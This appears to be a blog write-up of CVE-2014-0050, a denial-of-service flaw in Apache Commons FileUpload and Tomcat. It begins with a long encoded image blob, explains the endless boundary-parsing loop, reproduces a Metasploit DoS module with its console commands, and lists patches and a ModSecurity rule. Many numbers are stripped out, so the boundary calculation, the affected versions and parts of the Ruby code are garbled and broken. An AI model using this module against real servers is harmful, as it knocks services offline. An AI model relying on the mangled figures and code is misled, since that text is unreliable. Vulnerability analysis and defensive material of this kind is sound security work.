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" alt="" />

The fixed code has an extra "if" condition (line number 330) that validates the length of the multipart boundary to be shorter than 4091 characters, raising an exception if that's not the case. The calculation is as follows:

boundary.length > bufSize –  – BOUNDARY_PREFIX.length =  –  –  =

//parts of the code were copied into the org.apache.tomcat.util.http.fileupload package in Apache Tomcat, causing it to be affected.

0x2: Creating the exploit

So let's get Apache Tomcat installed and try to send more than 4091 characters in the boundary field to the Apache Tomcat Manager application. Such a request might look like this:

CVE-2014-0050: Exploit with Boundaries, Loops without Boundaries、Apache Commons FileUpload and Apache Tomcat DoS

0x3: Why is this happening

While parsing the multipart message, the following "for" loop is used by the MultipartStream class:

CVE-2014-0050: Exploit with Boundaries, Loops without Boundaries、Apache Commons FileUpload and Apache Tomcat DoS

The innocent-looking "for" loop above is an endless loop. It is "family related" to the famous "while(true)" loop. The developer's intention was to exit this loop either by raising an exception (line 1003) or by returning a value (line 1014), unfortunately when the boundary is longer than 4091 characters (as explained earlier) and the body is longer than 4096 characters (so it can potentially contain the boundary), neither would ever occur

Relevant Link:

https://www.trustwave.com/Resources/SpiderLabs-Blog/CVE-2014-0050--Exploit-with-Boundaries,-Loops-without-Boundaries/

3. POC

0x1: Metasploit

msf > use auxiliary/dos/http/apache_commons_fileupload_dos

msf auxiliary(apache_commons_fileupload_dos) > show actions

    ...actions...

msf auxiliary(apache_commons_fileupload_dos) > set ACTION <action-name>

msf auxiliary(apache_commons_fileupload_dos) > show options

    ...show and set options...

msf auxiliary(apache_commons_fileupload_dos) > run

0x2: apache_commons_fileupload_dos.rb

##

# This module requires Metasploit: http://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

##

require 'msf/core'

class Metasploit4 < Msf::Auxiliary

  include Msf::Exploit::Remote::HttpClient

  include Msf::Auxiliary::Dos

  def initialize(info = {})

    super(update_info(info,

      'Name'            => 'Apache Commons FileUpload and Apache Tomcat DoS',

      'Description'     => %q{

        This module triggers an infinite loop in Apache Commons FileUpload 1.0

        through 1.3 via a specially crafted Content-Type header.

        Apache Tomcat  and Apache Tomcat  use a copy of FileUpload to handle

        mime-multipart requests, therefore, Apache Tomcat 7.0. through 7.0.

        and 8.0.-RC1 through 8.0. are affected by this issue. Tomcat  also

        uses Commons FileUpload as part of the Manager application.

       },

       'Author'         =>

         [

           'Unknown', # This issue was reported to the Apache Software Foundation and accidentally made public.

           'ribeirux' # metasploit module

         ],

       'License'        => MSF_LICENSE,

       'References'     =>

         [

           ['CVE', '2014-0050'],

           ['URL', 'http://tomcat.apache.org/security-8.html'],

           ['URL', 'http://tomcat.apache.org/security-7.html']

         ],

        'DisclosureDate' => 'Feb 6 2014'

      ))

      register_options(

        [

          Opt::RPORT(),

          OptString.new('TARGETURI', [ true,  "The request URI", '/']),

          OptInt.new('RLIMIT', [ true,  "Number of requests to send",])

        ], self.class)

  end

  def run

    boundary = ""*

    opts = {

      'method'         => "POST",

      'uri'            => normalize_uri(target_uri.to_s),

      'ctype'          => "multipart/form-data; boundary=#{boundary}",

      'data'           => "#{boundary}00000",

      'headers' => {

        'Accept' => '*/*'

      }

    }

    # XXX: There is rarely, if ever, a need for a 'for' loop in Ruby

    # This should be rewritten with .upto() or Enumerable#each or

    # something

    for x in ..datastore['RLIMIT']

      print_status("Sending request #{x} to #{peer}")

      begin

        c = connect

        r = c.request_cgi(opts)

        c.send_request(r)

        # Don't wait for a response

      rescue ::Rex::ConnectionError => exception

        print_error("#{peer} - Unable to connect: '#{exception.message}'")

        return

      ensure

        disconnect(c) if c

      end

    end

  end

end

Relevant Link:

https://www.rapid7.com/db/modules/auxiliary/dos/http/apache_commons_fileupload_dos

https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/auxiliary/dos/http/apache_commons_fileupload_dos.rb

4. Solution

0x1: Defend yourself 

. Once available, update your software to one of the following versions:

Apache Commons FileUpload 1.3.

Apache Tomcat 7.0.

Apache Tomcat 8.0.

. You may choose to apply the appropriate patch:

Apache Commons FileUpload: http://svn.apache.org/r1565143

Apache Tomcat : http://svn.apache.org/r1565163

Apache Tomcat : http://svn.apache.org/r1565169

0x2: ModSecurity Commercial Rule Set

SecRule REQUEST_HEADERS:Content-Type "@rx .{4000}"

Relevant Link:

http://tomcat.apache.org/security-7.html

Copyright (c) 2015 Little5ann All rights reserved